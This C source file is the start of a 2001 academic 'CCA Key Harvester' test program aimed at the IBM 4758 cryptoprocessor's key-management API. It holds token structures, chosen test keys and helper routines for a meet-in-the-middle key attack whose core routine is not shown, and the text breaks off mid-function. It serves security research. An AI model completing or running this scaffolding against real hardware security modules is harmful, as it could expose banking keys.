/*********************** CCA Key Harvester (c) 2001 Michael Bond ****************/

/* Shell Type :  C Mk. IIb */
 
/* 
Filename : harvest.c
Created : 25th January 2001
Creators : Michael Bond
Format : ANSI C, plus 4758CCA libraries
Compilation : not yet specified
Detail : 

Version History (Defined as DATE VERSION REVISION SUBSIDIARY)

DATE            V.      R.      S.      INFO
08/08/01		1.0		1		0		Converted from att-mathic-V8.c
22/08/01		1.0		1		1		Fixing bugs after first test run
23/08/01		1.0		1		2		Making selective debugging printout code
19/09/01		1.0		1		3		fixed (hopefully) all bugs
04/10/01		1.0		1		4		more debugging info just to see if desmim hw works
										plus bugfix of final completion of rand_xorer
										for data key is double length (second half should be
										ignored)

first test run produced: results-08-34-26.html

*/


//************************************************************************************************* //
// ******************************** Inclusions  *************************************************** //
// ************************************************************************************************ //

#include "csunincl.h"       // the real library !!

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <memory.h>
#include <time.h>

//************************************************************************************************* //
// ******************************** Definitions  ************************************************** //
// ************************************************************************************************ //

// misc definitions

#define VERSION 1.0
#define REVISION 1.4

#define ERROR 1
#define NOERROR 0

#define TRUE -1
#define FALSE 0

#define DEBUG_OFFLINE	1
#define DEBUG_ONLINE	2
#define DEBUG_VERBOSE	3

#define UCHAR unsigned char

#define MAX_LINES_OF_CODE 5000

#define HARVEST_SIZE 65536			// the number of trial encryptions to harvest
#define CONJURE_LIMIT 256			// the maximum number of attemps to conjure a key before it gives up

// function macros
#define fill_blank(STRING)         memset((STRING),' ',sizeof((STRING)))
#define fill_null(STRING)          memset((STRING),0,sizeof((STRING)))
#define check(A,B) do_check( __LINE__ , (A) , B )

#define I_LONG(x) longps[(x)]
#define DT(tname) dump_token(#tname,tname)

// verb parameter list macros
#define A_RETRES &retcode,&rescode
#define RETRES retcode,rescode
#define A_ED &ex_dat_len,ex_dat
#define DEFINE_RRED   long retcode;long rescode;long ex_dat_len=0;UCHAR ex_dat[4];

// control vector base types
#define TYPE_DATA        (UCHAR*)"DATA    "
#define TYPE_MAC         (UCHAR*)"MAC     "
#define TYPE_MACVER      (UCHAR*)"MACVER  "
#define TYPE_PINGEN      (UCHAR*)"PINGEN  "
#define TYPE_PINVER      (UCHAR*)"PINVER  "
#define TYPE_IMPORTER    (UCHAR*)"IMPORTER"
#define TYPE_EXPORTER    (UCHAR*)"EXPORTER"

#define SPECIAL_TYPE_DATA_DOUBLE (UCHAR*)"SPECIALD"		// nasty hack!

// some definitions linking to raw control vectors

#define CV_EXT_DLB_KP_IMP cv_ext_dlb_kp_imp
#define CV_EXT_DLB_KP_EXP cv_ext_dlb_kp_exp

// special rule keywords
#define TYPE_TOKEN       (UCHAR*)"TOKEN   "
#define TYPE_USECV       (UCHAR*)"USE-CV  "

// key length parameter
#define LEN_SINGLE 1
#define LEN_DOUBLE 2

// stock key halves (in hex)
// (these are just chosen test keys to use, exhibiting odd parity)

#define KEYSTOCK_ODD_NULL     (keystock[0])

#define KEYSTOCK_ODD_ONE      (keystock[1])
#define KEYSTOCK_ODD_TWO      (keystock[2])
#define KEYSTOCK_ODD_THREE    (keystock[3])
#define KEYSTOCK_ODD_FOUR     (keystock[4])

#define KEYSTOCK_EVEN_NULL     (keystock[5])

#define KEYSTOCK_EVEN_ONE      (keystock[6])
#define KEYSTOCK_EVEN_TWO      (keystock[7])
#define KEYSTOCK_EVEN_THREE    (keystock[8])
#define KEYSTOCK_EVEN_FOUR     (keystock[9])

// DES Key Processing & Key Storage (CSN-B,CSN-D)                   (EP=Example Present)
#define Clear_Key_Import                        CSNBCKI
#define Data_Key_Export                         CSNBDKX
#define Data_Key_Import                         CSNBDKM
#define Diversified_Key_Generate                CSNBDKG
#define Key_Export                              CSNBKEX
#define Key_Generate                            CSNBKGN
#define Key_Import                              CSNBKIM
#define Key_Part_Import                         CSNBKPI                // EP
#define Key_Storage_Initialization              CSNBKSI
#define DES_Key_Record_Create                   CSNBKRC
#define DES_Key_Record_Delete                   CSNBKRD
#define DES_Key_Record_List                     CSNBKRL
#define DES_Key_Record_Read                     CSNBKRR
#define Key_Record_Write                        CSNBKRW
#define Key_Test                                CSNBKYT
#define Key_Token_Build                         CSNBKTB                // EP
#define Key_Token_Change                        CSNBKTC
#define Key_Translate                           CSNBKTR
#define Random_Number_Generate                  CSNBRNG
#define PKA_Symmetric_Key_Export                CSNDSYX
#define PKA_Symmetric_Key_Generate              CSNDSYG
#define PKA_Symmetric_Key_Import                CSNDSYI

// Data Confidentiality & Integrity (CSN-B)
#define Decipher                                CSNBDEC
#define Digital_Signature_Generate              CSNBCSG
#define Digital_Signature_Verify                CSNBDSV
#define Encipher                                CSNBENC
#define MAC_Generate                            CSNBMGN               // EP
#define MAC_Verify                              CSNBMVR               // EP
#define One_Way_Hash                            CSNBQWH

// Cryptoprocessor Control Verbs (CSU-A,CSU-S,CSN-B)
#define Access_Control_Initialization           CSUAACI
#define Access_Control_Maintenance              CSUAACM
#define Cryptographic_Facility_Control          CSUSCFC
#define Cryptographic_Facility_Query            CSUSCFQ
#define Cryptographic_Resource_Allocate         CSNBCRA
#define Cryptographic_Resource_Deallocate       CSNBCRD
#define Key_Storage_Designate                   CSNBKSD
#define Logon_Control                           CSUSLCT
#define Master_Key_Distribution                 CSNBMKD
#define Master_Key_Process                      CSNBMKP

// RSA Key Administration & Key Storage (CSN-B,CSN-D)

#define Key_Storage_Initialization              CSNBKSI
#define PKA_Key_Generate                        CSNDPKG
#define PKA_Key_Import                          CSNDPKI
#define PKA_Key_Token_Build                     CSNDPKB
#define PKA_Key_Token_Change                    CSNDKTC
#define PKA_Key_Record_Create                   CSNDKRC
#define PKA_Key_Record_Delete                   CSNDKRD
#define PKA_Key_Record_List                     CSNDKRL
#define PKA_Key_Record_Read                     CSNDKRR
#define PKA_Key_Record_Write                    CSNDKRW
#define PKA_Public_Key_Extract                  CSNDPKX
#define PKA_Public_Key_Hash_Register            CSNDPKH
#define PKA_Public_Key_Register                 CSNDPKR
#define Retained_Key_Delete                     CSNDRKD
#define Retained_Key_List                       CSNDRKL

// Financial Services Support (CSN-B)
#define Clear_PIN_Encrypt                       CSNBCPE               // EP
#define Clear_PIN_Generate                      CSNBPGN
#define Clear_PIN_Generate_Alternate            CSNBCPA
#define Encrypted_PIN_Generate                  CSNBEPG               // EP
#define Encrypted_PIN_Translate                 CSNBPTR               // EP
#define Encrypted_PIN_Verify                    CSNBPVR               // EP
#define SET_Block_Compose                       CSNBSBC
#define SET_Block_Decompose                     CSNBSBD

//************************************************************************************************* //
// ******************************** Prototypes  *************************************************** //
// ************************************************************************************************ //

// boring management functions

void init_logfile(void);
void init_shortcuts(void);

// attack building blocks
void bb_test_replicate_keys(void);

// attack implementations
void attack_mim(void);

// useful functions
int do_check(int line_number,char cmdname[], long returncode,long reasoncode);
int make_key(UCHAR *result,UCHAR *highbits,UCHAR *lowbits);
int make_chosen_key(UCHAR *keytoken,UCHAR *type,UCHAR *highbits,UCHAR *lowbits);

void make_hex_key(UCHAR *string,UCHAR *bits);
void dump_token(char tname[],UCHAR *keytoken);

int build_3des_token(UCHAR *result,UCHAR *left, UCHAR *right);
int test_cipher(UCHAR *keytoken);
int generate_data_key(UCHAR *datakey);
int generate_exporter_key(UCHAR *datakey);
int generate_importer_key(UCHAR *importerkey);
int test_export_under(UCHAR *exporterkek);
int extract_clear_key(UCHAR *clearkey,UCHAR *keytoken);
int build_random_key(UCHAR *keytoken,UCHAR *type,int len_type);
int get_default_cv(UCHAR *control_vector,UCHAR *type);
int make_key_difference(UCHAR *result,UCHAR *oldtype,UCHAR *newtype);
int bind_new_cv_to_external_token(UCHAR *keytoken,UCHAR *keysource,UCHAR *cvsource);

void set_even_parity(UCHAR *bytes);

//************************************************************************************************* //
// ******************************** Global Variables / Structurues  ******************************* //
// ************************************************************************************************ //

// version 3 (old) internal key token type
typedef struct IDESTOKEN3_TYPE
    {
    UCHAR int_ext;         // internal/external flag (0x01 = internal)
    UCHAR res1;            // reserved
    UCHAR mkvp[2];         // master key verification pattern
    UCHAR version;         // key token version number
    UCHAR res2;            // reserved
    UCHAR flags;           // flags
    UCHAR res3;            // reserved
    UCHAR res4[8];         // reserved
    UCHAR keyleft[8];      // encrypted key
    UCHAR keyright[8];
    UCHAR cvleft[8];       // control vector
    UCHAR cvright[8];      
    UCHAR res5[12];        // reserved
    UCHAR tvv[4];          // token validation value
    } IDESTOKEN3;

// version 0 (new) internal key token type
typedef struct IDESTOKEN0_TYPE
    {
    UCHAR int_ext;         // internal/external flag (0x01 = internal)
    UCHAR res1[3];         // reserved
    UCHAR version;         // key token version number
    UCHAR res2;            // reserved
    UCHAR flags;           // flags
    UCHAR res3;            // reserved
    UCHAR mkvp[8];         // master key verification pattern
    UCHAR keyleft[8];      // encrypted key
    UCHAR keyright[8];
    UCHAR cvleft[8];       // control vector
    UCHAR cvright[8];      
    UCHAR res5[12];        // reserved
    UCHAR tvv[4];          // token validation value
    } IDESTOKEN0;

// version 0 (normal) external key token type
typedef struct EDESTOKEN0_TYPE
    {
    UCHAR int_ext;         // internal/external flag (0x02= external)
    UCHAR res1[3];         // reserved
    UCHAR version;         // key token version number
    UCHAR res2;            // reserved
    UCHAR flags1;          // flags
    UCHAR flags2;          // more flags
    UCHAR res3[8];         // reserved
    UCHAR keyleft[8];      // encrypted key
    UCHAR keyright[8];
    UCHAR cvleft[8];       // control vector
    UCHAR cvright[8];      
    UCHAR res4[12];        // reserved
    UCHAR tvv[4];          // token validation value
    } EDESTOKEN0;

// version 1 (special EXT_DLB_DATA) external key token type
typedef struct EDESTOKEN1_TYPE
    {
    UCHAR int_ext;         // internal/external flag (0x02= external)
    UCHAR res1[3];         // reserved
    UCHAR version;         // key token version number
    UCHAR res2;            // reserved
    UCHAR flags;           // flags
    UCHAR res3;            // reserved
    UCHAR res4[8];         // reserved
    UCHAR keyleft[8];      // encrypted key
    UCHAR keyright[8];
    UCHAR cvleft[8];       // control vector (must be null i.e. all zeroes)
    UCHAR cvright[8];      
    UCHAR res5[11];        // reserved
	UCHAR keylen;          // keylen flag (double = 0x10)
    UCHAR tvv[4];          // token validation value
    } EDESTOKEN1;

FILE *results;

long *longps[20];

UCHAR **keystock;

UCHAR cv_ext_dlb_kp_imp[16] = { 0x00 , 0x42 , 0x7d , 0x00 , 0x03 , 0x48 , 0x00 , 0x00 ,
								0x00 , 0x42 , 0x7d , 0x00 , 0x03 , 0x28 , 0x00 , 0x00   };

UCHAR cv_ext_dlb_kp_exp[16] = { 0x00 , 0x41 , 0x7d , 0x00 , 0x03 , 0x48 , 0x00 , 0x00 ,
								0x00 , 0x41 , 0x7d , 0x00 , 0x03 , 0x28 , 0x00 , 0x00   };

int debug_mode;
long cmd_fail[MAX_LINES_OF_CODE];

typedef union INCREMENTABLE_KEY
    {
    UCHAR bytes[8];
    unsigned long longs[2];
    } INCKEY;

//************************************************************************************************* //
// ******************************** Main Function ************************************************* //
// ************************************************************************************************ //

int main(int argc, char *argv[])
    {
	int count;

	debug_mode=DEBUG_ONLINE;

	if( argc == 2 )
		{
		if( !strcmp(argv[1],"-offline") )
			debug_mode=DEBUG_OFFLINE;
		if( !strcmp(argv[1],"-online") )
			debug_mode=DEBUG_ONLINE;
		if( !strcmp(argv[1],"-verbose") )
			debug_mode=DEBUG_VERBOSE;
		}

	// initialise

	init_shortcuts();
	init_logfile();


	//bb_test_replicate_keys();
    fflush(results);

    // now test full assembled attacks, using a model bank user<>role allocation

    attack_mim();
    fflush(results);

	// print out summary of errors
	
	fprintf(results,"<HR><BR>SUMMARY OF FAILED COMMANDS<BR>==================<BR><BR>\n<TABLE>"
		            "<TR><TD><B>Line</B></TD><TD><B>Failures</B></TD></TR>\n");

	for(count=0;count<MAX_LINES_OF_CODE;count++)
		if( cmd_fail[count] != 0 )
			fprintf(results,"<TR><TD WIDTH=100>%d</TD><TD>%d</TD></TR>\n",count,cmd_fail[count]);

	fprintf(results,"</TABLE>\n");

	fprintf(results,"</FONT></BODY></HTML><BR>\n");
	fclose(results);

	// free up the memory allocated.
		{
		int localcount;
		for(localcount=0;localcount<=19;localcount++)
			free(longps[localcount]);
		
		for(localcount=0;localcount<=4;localcount++)
			free(keystock[localcount]);
				
		}

	printf("Normal Termination.\n");
	exit(0);
    }

// ************************************************************************************************ //
// ******************************** Function Definitions  ***************************************** //
// ************************************************************************************************ //

//--------------------------------------------------------------------------------------------------//
//-------------------------------- init_shortcuts --------------------------------------------------//
//--------------------------------------------------------------------------------------------------//

void init_shortcuts(void)
	{
	// initialise the long pointers array (used for neat shortcuts when entering
	// indirected long numbers as parameters to the CCA verbs
		{
		int localcount;
		for(localcount=0;localcount<=19;localcount++)
			{
			longps[localcount]=malloc(sizeof(long));
			if( longps[localcount] != NULL )
				*(longps[localcount])=(long)localcount;
			else
				{
				printf("Memory allocation failed.\n");
				exit(1);
				}
			}
		
		}

	// initialise the keystock with chosen keys (having odd parity)
	// the keys will become

	// 0x0101010101010101 (this is the null key)
	// 0x0202020202020202
	// 0x0404040404040404
	// 0x0808080808080808
	// 0x1010101010101010
		
		{
		int localcount;

		keystock=malloc(sizeof(UCHAR *)*10);

		// make the odd parity stock keys
		for(localcount=0;localcount<=4;localcount++)
			{
			int pos;
			UCHAR pat=0x01;

			keystock[localcount]=malloc(8*sizeof(UCHAR));
			for(pos=0;pos<=7;pos++)
				{
				keystock[localcount][pos] = (pat << localcount) ;
				}
			}

		// make the even parity stock keys
		// these keys correspond exactly to the odd parity keys, except with
		// the parity set to even
		
		for(localcount=5;localcount<=9;localcount++)
			{
			int pos;
			UCHAR pat=0x01;

			keystock[localcount]=malloc(8*sizeof(UCHAR));
			for(pos=0;pos<=7;pos++)
				{
				keystock[localcount][pos] = ((pat << (localcount-5)) ^ 0x01) ;
				}
			}

		}


	}

//--------------------------------------------------------------------------------------------------//
//-------------------------------- init_logfile ----------------------------------------------------//
//--------------------------------------------------------------------------------------------------//

void init_logfile(void)
	{
	int count;
	char *tp;

	char sdate[10];
	char stime[10];
	char filename[80];

	_strtime(stime);
	_strdate(sdate);

	// replace the colons with dashes (looks better in the filename)
	for(tp=stime;(*tp)!='\0';tp++)
		if( (*tp) == ':' )
			(*tp)='-';

	sprintf(filename,"results-%s.html",stime);
	
	if( (results=fopen(filename,"a")) == NULL )
		{
		printf("File access error opening '%s' results file for writing.\n" \
			   "Please check the directory from which the executable was\n" \
			   "launched for write permissions / sufficient disk space.\n" , filename );
		exit(1);
		}

	// print a nice header at the top of the log file
	fprintf(results,"<HTML><BODY><BR>\n<BR>\n" \
		            "<BR><FONT FACE=\"Courier\"><BR>\n" \
					"4758 CCA Attack Test Program  (C) 2001 Michael Bond, University of Cambridge<BR>\n" \
					"(LIVE) Version %1.1g Revision %1.1f  (Compiled %s)<BR>\n" \
		            "This log commencing : %s %s<BR>\n<BR>\n" , VERSION, REVISION , __TIMESTAMP__ , sdate , stime );

	// initialise the CCA command error counters

	for(count=0;count<MAX_LINES_OF_CODE;count++)
		cmd_fail[count]=0;
	}

//--------------------------------------------------------------------------------------------------//
//-------------------------------- check -----------------------------------------------------------//
//--------------------------------------------------------------------------------------------------//

int do_check(int line_number,char cmdname[], long returncode,long reasoncode)
    {
    if( returncode != 0 )
        {
		cmd_fail[line_number]++;

		// check for CH not responding error
		if( returncode == 12 && reasoncode == 338 )
			{
			// check if the caller asked for results printout to be supressed
			// (for the test vector harvest loops)
			
			if( cmd_fail[line_number] == 1 )
				{
				fprintf(results,"<FONT COLOR=\"#AA0000\">L%d Command \"%s\" failed for first time: ret[12]res[338] (4758 not present)</FONT><BR>\n",line_number,cmdname);
				printf("L%d Command \"%s\" failed for first time : ret[12]res[338] (4758 not present)\n",line_number,cmdname);
				}

			// now plough on as if everything is ok, for offline testing purposes

			fflush(results);

			return NOERROR;
	        }

		if( cmd_fail[line_number] == 1 )
			{
			fprintf(results,"<FONT COLOR=\"#AA0000\">L%d Command \"%s\" failed for first time: Return code [%ld], Reason code [%ld]</FONT><BR>\n",line_number,cmdname,returncode,reasoncode);
			printf("L%d Command \"%s\" failed for first time: Return code [%ld], Reason code [%ld]\n",line_number,cmdname,returncode,reasoncode);
			}

		fflush(results);

        return ERROR;
        }

	if( !strstr(cmdname,"NOPRINT") && debug_mode != DEBUG_VERBOSE )
		fprintf(results,"<FONT COLOR=\"#00AA00\">Command (%s) Successful : ret[%ld], res[%ld]</FONT><BR>\n",cmdname,returncode,reasoncode);
        
	return NOERROR;
    }

//--------------------------------------------------------------------------------------------------//
//-------------------------------- make_key --------------------------------------------------------//
//--------------------------------------------------------------------------------------------------//

int make_key(UCHAR *result,UCHAR *highbits,UCHAR *lowbits)
    {
    memcpy(result,highbits,8);
    memcpy(result+8,lowbits,8);

	return NOERROR;
    }

//--------------------------------------------------------------------------------------------------//
//-------------------------------- make_key_difference ---------------------------------------------//
//--------------------------------------------------------------------------------------------------//

int make_key_difference(UCHAR *result,UCHAR *oldtype,UCHAR *newtype)
    {
    int i;
    UCHAR oldcv[16];
    UCHAR newcv[16];

    get_default_cv(oldcv,oldtype);
    get_default_cv(newcv,newtype);

    for(i=0;i<=15;i++)
        result[i] = oldcv[i] ^ newcv[i] ;

	return NOERROR;
    }

//--------------------------------------------------------------------------------------------------//
//-------------------------------- build_3des_token ------------------------------------------------//
//--------------------------------------------------------------------------------------------------//

int build_3des_token(UCHAR *result,UCHAR *left, UCHAR *right)
    {
    DEFINE_RRED
    IDESTOKEN0 *kleft;
    IDESTOKEN0 *kright;   
    UCHAR new_key[16];
    UCHAR control_vector[16];
	UCHAR mkvp[8];
	long reserved1=0;

	fprintf(results,"--CALL---------------------- build_3des_token()<BR>\n");

    kleft=(IDESTOKEN0 *)left;
    kright=(IDESTOKEN0 *)right;    

	fill_null(mkvp);

    // compose a new encrypted key from the respective halves
    memcpy(new_key,kleft->keyleft,8);
    memcpy(new_key+8,kright->keyright,8);
    
    // check that the two key tokens have the same control vector
    if( memcmp(kleft->cvleft,kright->cvleft,8) || memcmp(kleft->cvright,kright->cvright,8) )
        {
        memset(result,'\0',65);
        return ERROR;  // bomb out if they don't
        }

    // copy the control vector verbatim
    memcpy(control_vector,kleft->cvleft,8);
    memcpy(control_vector+8,kleft->cvright,8);

	// copy the mkvp from left (arbitrarily)

	if( memcmp(kleft->mkvp,kright->mkvp,8) )
		{
		fprintf(results,"**** WARNING **** : master key verification patterns do not match!<BR>\n");
		}

	memcpy(mkvp,kleft->mkvp,8);

    // rebuild the keytoken (recalculates the IDESTOKEN0.tvv)
    Key_Token_Build( A_RETRES , A_ED ,
                     result ,
                     TYPE_USECV ,
                     I_LONG(3) ,
                     (UCHAR*)"INTERNALKEY     CV      " ,
                     new_key ,
                     &reserved1 ,
                     NULL , NULL ,
                     control_vector ,
                     NULL , NULL , NULL , mkvp );

	if( check("build_3des_token KT_Build",RETRES) )
		return ERROR;

	DT(result);

	return NOERROR;
    }

//--------------------------------------------------------------------------------------------------//
//-------------------------------- test_cipher -----------------------------------------------------//
//--------------------------------------------------------------------------------------------------//

int test_cipher(UCHAR *keytoken)
    {
    DEFINE_RRED
    //                       1234567890123456
    UCHAR plaintext[16]   = "Hello World !  ";
    UCHAR ciphertext[16]  = "\0";
    UCHAR init_vector[8];
    UCHAR chaining_vector[18];

	fprintf(results,"--CALL---------------------- test_cipher()<BR>\n");

    fill_null(init_vector);
    fill_null(chaining_vector);

	DT(keytoken);

    // do some enciphering
    Encipher( A_RETRES , A_ED ,
              keytoken , 
              I_LONG(16) ,
              plaintext ,
              init_vector ,
              I_LONG(0) , 
              NULL ,
              I_LONG(0) ,
              chaining_vector ,
              ciphertext );

    if( check("Test Encipher",RETRES) )
		return ERROR;

    fill_null(plaintext);

    // do some deciphering
    Decipher( A_RETRES , A_ED ,
              keytoken ,
              I_LONG(16) ,
              ciphertext ,
              init_vector ,
              I_LONG(0) ,
              NULL ,
              chaining_vector ,
              plaintext );

    if( check("Test Decipher",RETRES) )
		return ERROR;

	return NOERROR;
    }

//--------------------------------------------------------------------------------------------------//
//-------------------------------- generate_data_key -----------------------------------------------//
//--------------------------------------------------------------------------------------------------//

int generate_data_key(UCHAR *datakey)
    {
	// NB: this routine only generates SLL_DATA keys

    DEFINE_RRED
    UCHAR nullkt[65];

	//fprintf(results,"--CALL---------------------- generate_data_key()<BR>\n");

    fill_null(nullkt);
    memset(datakey,'\0',65);
    
    // make a data key

    Key_Generate( A_RETRES , A_ED ,
                  (UCHAR*)"OP  " ,
                  (UCHAR*)"SINGLE  " ,
                  (UCHAR*)"DATA    " , (UCHAR*)"        " ,
                  nullkt , nullkt ,
                  datakey , nullkt );

	//DT(datakey);

    if( check("(NOPRINT) Stock data key generation",RETRES) )
		return ERROR;

	return NOERROR;
    }

//--------------------------------------------------------------------------------------------------//
//-------------------------------- generate_exporter_key -------------------------------------------//
//--------------------------------------------------------------------------------------------------//

int generate_exporter_key(UCHAR *exporterkey)
    {
    DEFINE_RRED
    UCHAR nullkt[65];

	fprintf(results,"--CALL---------------------- generate_exporter_key()<BR>\n");

    fill_null(nullkt);
    memset(exporterkey,'\0',65);
    
    // make an exporter key
    
    Key_Generate( A_RETRES , A_ED ,
                  "OP  " ,
                  "DOUBLE  " ,
                  "EXPORTER" , "        " ,
                  nullkt , nullkt ,
                  exporterkey , nullkt );

	//DT(exporterkey);

    if( check("(NOPRINT) Exporter key generation",RETRES) )
		return ERROR;

	return NOERROR;
    }

//--------------------------------------------------------------------------------------------------//
//-------------------------------- generate_importer_key -------------------------------------------//
//--------------------------------------------------------------------------------------------------//

int generate_importer_key(UCHAR *importerkey)
    {
    DEFINE_RRED
    UCHAR nullkt[65];

	fprintf(results,"--CALL---------------------- generate_importer_key()<BR>\n");

    fill_null(nullkt);
    memset(importerkey,'\0',65);
        
    // make an exporter key
    
    Key_Generate( A_RETRES , A_ED ,
                  (UCHAR*)"OP  " ,
                  (UCHAR*)"DOUBLE  " ,
                  (UCHAR*)"IMPORTER" , (UCHAR*)"        " ,
                  nullkt , nullkt ,
                  importerkey , nullkt );

	DT(importerkey);

    if( check("(NOPRINT) Importer key generation",RETRES) )
		return ERROR;

	return NOERROR;
    }

//--------------------------------------------------------------------------------------------------//
//-------------------------------- test_export_under -----------------------------------------------//
//--------------------------------------------------------------------------------------------------//

int test_export_under(UCHAR *exporterkek)
    {
    DEFINE_RRED
    UCHAR opkey[65];
	UCHAR externaltoken[65];
    
	fprintf(results,"--CALL---------------------- test_export_under()<BR>\n");

    fill_null(externaltoken);  // make this a null key token
    generate_data_key(opkey);  // note that this data key is SLL_DATA, so should be exported fine
							   // by both DOUBLE and SINGLE-R exporters

    //----------------------- export key to external key token ----------------

    Key_Export( A_RETRES , A_ED ,
                TYPE_TOKEN ,
                opkey ,
                exporterkek ,
                externaltoken );

	DT(opkey);
	DT(exporterkek);
	DT(externaltoken);

    if( check("Key_Export",RETRES) )
		return ERROR;
	
	return NOERROR;
    }


//--------------------------------------------------------------------------------------------------//
//-------------------------------- make_hex_key ----------------------------------------------------//
//--------------------------------------------------------------------------------------------------//

void make_hex_key(UCHAR *string,UCHAR *bits)
	{
	// this function converts to a nice representation of the key in hex (for printing out)
	// NB assumes key length of 8 bytes.

	sprintf(string,"%2x&nbsp;%2x&nbsp;%2x&nbsp;%2x&nbsp;%2x&nbsp;%2x&nbsp;%2x&nbsp;%2x",bits[0],bits[1],bits[2],bits[3],bits[4],bits[5],bits[6],bits[7]);

	}

//--------------------------------------------------------------------------------------------------//
//-------------------------------- dump_token ------------------------------------------------------//
//--------------------------------------------------------------------------------------------------//

void dump_token(char tname[],UCHAR *keytoken)
	{
	// this function prints out the entire lowdown on a keytoken, automatically
	// detecting the type and providing context sensitive explanations
	
	char buffer[80];		// temporary scratch space

	fprintf(results,"<FONT SIZE=\"-1\" COLOR=\"#888888\"> -START-------------------<BR>\n",tname);

	if( keytoken[0] == 0x01 )	// internal token
		{
		if( keytoken[4] == 0x00 )	// new fmt
			{
			IDESTOKEN0 *kt;
			kt=(IDESTOKEN0 *)keytoken;

			fprintf(results,"%s INTERNAL V0x00<BR>\n",tname);

			fprintf(results,"int_ext&nbsp;  %2x<BR>\n",kt->int_ext);										// internal/external flag (0x01 = internal)
			fprintf(results,"res1&nbsp;&nbsp;&nbsp;&nbsp;     %2x %2x %2x<BR>\n",kt->res1[0],kt->res1[1],kt->res1[2]);  	// reserved			
			fprintf(results,"version&nbsp;  %2x<BR>\n",kt->version);									    // key token version number
			fprintf(results,"res2&nbsp;&nbsp;&nbsp;&nbsp;     %2x<BR>\n",kt->res2);											// reserved
			fprintf(results,"flags&nbsp;&nbsp;    %2x<BR>\n",kt->flags);										// flags
			fprintf(results,"res3&nbsp;&nbsp;&nbsp;&nbsp;     %2x<BR>\n",kt->res3);										    // reserved						
			make_hex_key(buffer,kt->mkvp);														// master key verification pattern
			fprintf(results,"mkvp&nbsp;&nbsp;&nbsp;&nbsp;     %s<BR>\n",buffer);
			make_hex_key(buffer,kt->keyleft);
			fprintf(results,"keyleft&nbsp;  %s<BR>\n",buffer);
			make_hex_key(buffer,kt->keyright);
			fprintf(results,"keyright %s<BR>\n",buffer);
			make_hex_key(buffer,kt->cvleft);
			fprintf(results,"cvkeft&nbsp;&nbsp;   %s<BR>\n",buffer);
			make_hex_key(buffer,kt->cvright);
			fprintf(results,"cvright&nbsp;  %s<BR>\n",buffer);
			make_hex_key(buffer,kt->res5);
			fprintf(results,"res 5&nbsp;&nbsp;&nbsp;    %s %2x %2x %2x %2x<BR>\n",buffer,kt->res5[8],kt->res5[9],kt->res5[10],kt->res5[11]);
			fprintf(results,"tvv&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;      %2x %2x %2x %2x<BR>\n",kt->tvv[0],kt->tvv[1],kt->tvv[2],kt->tvv[3]);          // token validation value
    
			}
		if( keytoken[4] == 0x03 )	// old fmt
			{
			IDESTOKEN3 *kt;
			kt=(IDESTOKEN3 *)keytoken;


			fprintf(results,"%s INTERNAL V0x03<BR>\n",tname);

			fprintf(results,"int_ext  %2x<BR>\n",kt->int_ext);							// internal/external flag (0x01 = internal)
			fprintf(results,"res1     %2x<BR>\n",kt->res1);								// reserved
			fprintf(results,"mkvp     %2x %2x<BR>\n",kt->mkvp[0],kt->mkvp[1]);			// master key verification pattern
			fprintf(results,"version  %2x<BR>\n",kt->version);						    // key token version number
			fprintf(results,"res2     %2x<BR>\n",kt->res2);								// reserved
			fprintf(results,"flags    %2x<BR>\n",kt->flags);							// flags
			fprintf(results,"res3     %2x<BR>\n",kt->res3);								// reserved						
			make_hex_key(buffer,kt->res4);
			fprintf(results,"res4     %s<BR>\n",buffer);
			make_hex_key(buffer,kt->keyleft);
			fprintf(results,"keyleft  %s<BR>\n",buffer);
			make_hex_key(buffer,kt->keyright);
			fprintf(results,"keyright %s<BR>\n",buffer);
			make_hex_key(buffer,kt->cvleft);
			fprintf(results,"cvkeft   %s<BR>\n",buffer);
			make_hex_key(buffer,kt->cvright);
			fprintf(results,"cvright  %s<BR>\n",buffer);
			make_hex_key(buffer,kt->res5);
			fprintf(results,"res 5    %s %2x %2x %2x %2x<BR>\n",buffer,kt->res5[8],kt->res5[9],kt->res5[10],kt->res5[11]);
			fprintf(results,"tvv      %2x %2x %2x %2x<BR>\n",kt->tvv[0],kt->tvv[1],kt->tvv[2],kt->tvv[3]);          // token validation value
    
			}
		
		}

	if( keytoken[0] == 0x02 )	// external token
		{
		if( keytoken[4] == 0x00 )	// normal fmt
			{
			EDESTOKEN0 *kt;
			kt=(EDESTOKEN0 *)keytoken;

			fprintf(results,"%s EXTERNAL V0x00<BR>\n",tname);

			fprintf(results,"int_ext  %2x<BR>\n",kt->int_ext);										// internal/external flag (0x01 = internal)
			fprintf(results,"res1     %2x %2x %2x<BR>\n",kt->res1[0],kt->res1[1],kt->res1[2]);  	// reserved			
			fprintf(results,"version  %2x<BR>\n",kt->version);									    // key token version number
			fprintf(results,"res2     %2x<BR>\n",kt->res2);											// reserved
			fprintf(results,"flags1   %2x<BR>\n",kt->flags1);										// flags
			fprintf(results,"flags2   %2x<BR>\n",kt->flags2);									    // more flags
			make_hex_key(buffer,kt->res3);														// reserved
			fprintf(results,"res3     %s<BR>\n",buffer);
			make_hex_key(buffer,kt->keyleft);
			fprintf(results,"keyleft  %s<BR>\n",buffer);
			make_hex_key(buffer,kt->keyright);
			fprintf(results,"keyright %s<BR>\n",buffer);
			make_hex_key(buffer,kt->cvleft);
			fprintf(results,"cvkeft   %s<BR>\n",buffer);
			make_hex_key(buffer,kt->cvright);
			fprintf(results,"cvright  %s<BR>\n",buffer);
			make_hex_key(buffer,kt->res4);
			fprintf(results,"res 4    %s %2x %2x %2x %2x<BR>\n",buffer,kt->res4[8],kt->res4[9],kt->res4[10],kt->res4[11]);
			fprintf(results,"tvv      %2x %2x %2x %2x<BR>\n",kt->tvv[0],kt->tvv[1],kt->tvv[2],kt->tvv[3]);          // token validation value

			}
		if( keytoken[4] == 0x01 )	// special data fmt
			{
			EDESTOKEN1 *kt;
			kt=(EDESTOKEN1 *)keytoken;

			fprintf(results,"%s EXTERNAL V0x01<BR>\n",tname);

			fprintf(results,"int_ext  %2x<BR>\n",kt->int_ext);										// internal/external flag (0x01 = internal)
			fprintf(results,"res1     %2x %2x %2x<BR>\n",kt->res1[0],kt->res1[1],kt->res1[2]);  	// reserved			
			fprintf(results,"version  %2x<BR>\n",kt->version);									    // key token version number
			fprintf(results,"res2     %2x<BR>\n",kt->res2);											// reserved
			fprintf(results,"flags    %2x<BR>\n",kt->flags);										// flags
			fprintf(results,"res3     %2x<BR>\n",kt->res3);										    // reserved
			make_hex_key(buffer,kt->res4);														// reserved
			fprintf(results,"res4     %s<BR>\n",buffer);
